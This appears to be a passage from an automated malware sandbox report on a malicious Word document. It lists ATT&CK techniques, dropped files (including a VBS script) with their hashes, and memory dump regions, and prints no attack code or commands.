      Suspicious use of AdjustPrivilegeToken
      PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
7bdb99096a11b4f9daae912180283760

SHA1
1a69f741776b481e7678a6b98d22d888d6ae8da1

SHA256
302e6f7de9e0f200fd47ec90955e2237a34752a2199cb06d23d7cad0f3ed4073

SHA512
5003cb03838151be9c8f26d32df2f072e76c7727fbecee63116c6b0dbfd4f42146f425748dbf640ee6b827fc85a61f9b3c943ba01b00dd2782b0479a1f4afe23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSD

Filesize
128KB

MD5
e7bf02c025e6e622dfd06da6210501bb

SHA1
5ed2dfbe0b3d1564de9a917ac4efb7d54c40bd34

SHA256
a9055964998950fd7bc96d32e11138a8dace9e3c33c58657b59895cda991ef4b

SHA512
104c9f84376d253625a0872a0fb7a8880a984c5d4d53f3ef774aa8dbac790d115289cab0b7f10d0a9af811f951cb388fdd0999d7913853209866383d201a36df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

Filesize
128KB

MD5
3a36eb968f02cfa2765fb7f2dc097c39

SHA1
fa9a7ec62a189f997d279e043966815878dfc7f4

SHA256
5aaefd24965a6adf7a2367e4d367be6b522b259e6b3f21fb021f4f4cdf8ebeb3

SHA512
217e3e40c0d0b5db388265a4cead5a23902d4d8026458f1701b65cf525098fc6395d21e9aec1166251a85e408fcc3faecec82aa9c1dea8377a9d96d0d06b527f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{7A22AD0C-3EDE-4D3C-B0A1-B4C249037C93}.FSD

Filesize
128KB

MD5
89955cc321f26843380d0b2c7065316d

SHA1
cb0ad69eeaa26ed70484bc1977e344b7e91a11ca

SHA256
4728ea73dc1a4faaed5059b1dd92f8077e6154515df2f65e0d966e239ff7b006

SHA512
366c431ea47492a27b7f6e8a2cc42e104d3bff65e66595eb3ccbb8d1863a9d9a64f8573086c15d84a127ccab9224fa3530605ddda7195652f802f111161d5e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\myworldialwaysurlovertohearuaremyworldbecauseitrulyloveyoualotbecause_____youaremybabyandalwaysloverhersoomuchtruly[1].doc

Filesize
70KB

MD5
cae8bb9d33e2340998ba5f75ad37f803

SHA1
75e142060680509acade4921ea417e1d438a34fd

SHA256
aa48be12373eee7adb43270e7adde9a854875ceebd5c267fa6bbb79e91ce2030

SHA512
5b5ba31eef6383798733fcb5bbbbe0b28a35b8962207b8a08c494aa18ce48cf4f296af18299b8ddff51b7d6eb07d4864b3ddf4f95bebc8c76959f8ba1e0f8d98

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabAB5E.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarAD39.tmp

Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Local\Temp\{B9FBF85B-D8D7-4223-874E-9D062E72EF50}

Filesize
128KB

MD5
ba7561099d5d925337a0c3618d8acc9e

SHA1
84769f369cb94b0326041f7989c1b0b5a181275f

SHA256
dd10e3a0484fae0b4f3d96f1c7c5802a68bedbd36220920eda68d7e43e23f6c3

SHA512
a7f407d5acf25e27d2cd012b56dd509adf4beb54e7c838bb44866a937c670ce71e5fa05f9ac7152c58230a61574a60c0815891bbeb110b772a9d13bc148e725d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
00fc0403f98ac0404dc312d09ba05bf4

SHA1
5626fcc3c7d435f8bd0e3c44d7dfc243575f6023

SHA256
0a382b0d4f8482fff179ac08126e90481f5c90a172b6504a075851c38357bf21

SHA512
96147cebf037c296f135d6da9fd91be40ca0a6052160078717438868e391c456a598772e57053461e81ec241a487a88fd4aa192ae6274d6c9ebc3d5557640285

Download Submit
C:\Users\Admin\AppData\Roaming\greatdaytokiislover.vbs

Filesize
33KB

MD5
da24a3f9677942db1e73b0ef5d2011a4

SHA1
0ee17d73b3e26fe1c8b6680b92c305a4d850685c

SHA256
98e179fe22de663f2f6127de1354c0d14609c43ca0e644f320310104585f90ce

SHA512
46549a6ee806cf7c48328e80b124928258bed5ad182618c25b4bcbf61173ace8eb502f28ce5bf4dd9ba862d988a1c3a95ec86c9ce539fab6c30318c525138615

Download Submit
memory/1636-107-0x000000006A500000-0x000000006AAAB000-memory.dmp

Filesize
5.7MB

Download
memory/1636-105-0x000000006A500000-0x000000006AAAB000-memory.dmp

Filesize
5.7MB

Download
memory/1636-106-0x0000000002450000-0x0000000002490000-memory.dmp

Filesize
256KB

Download
memory/1824-187-0x000000006A500000-0x000000006AAAB000-memory.dmp

Filesize
5.7MB

Download
memory/1824-98-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/1824-99-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/1824-96-0x000000006A500000-0x000000006AAAB000-memory.dmp

Filesize
5.7MB

Download
memory/1824-97-0x000000006A500000-0x000000006AAAB000-memory.dmp

Filesize
5.7MB

Download
memory/2032-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2032-1-0x000000007251D000-0x0000000072528000-memory.dmp

Filesize
44KB

Download
memory/2032-185-0x000000007251D000-0x0000000072528000-memory.dmp

Filesize
44KB

Download
memory/2900-5-0x000000007251D000-0x0000000072528000-memory.dmp

Filesize
44KB

Download
memory/2900-3-0x000000002FA91000-0x000000002FA92000-memory.dmp

Filesize
4KB

Download
memory/2900-186-0x000000007251D000-0x0000000072528000-memory.dmp

Filesize
44KB

Download
memory/2900-7-0x0000000002E10000-0x0000000002E12000-memory.dmp

Filesize
8KB

Download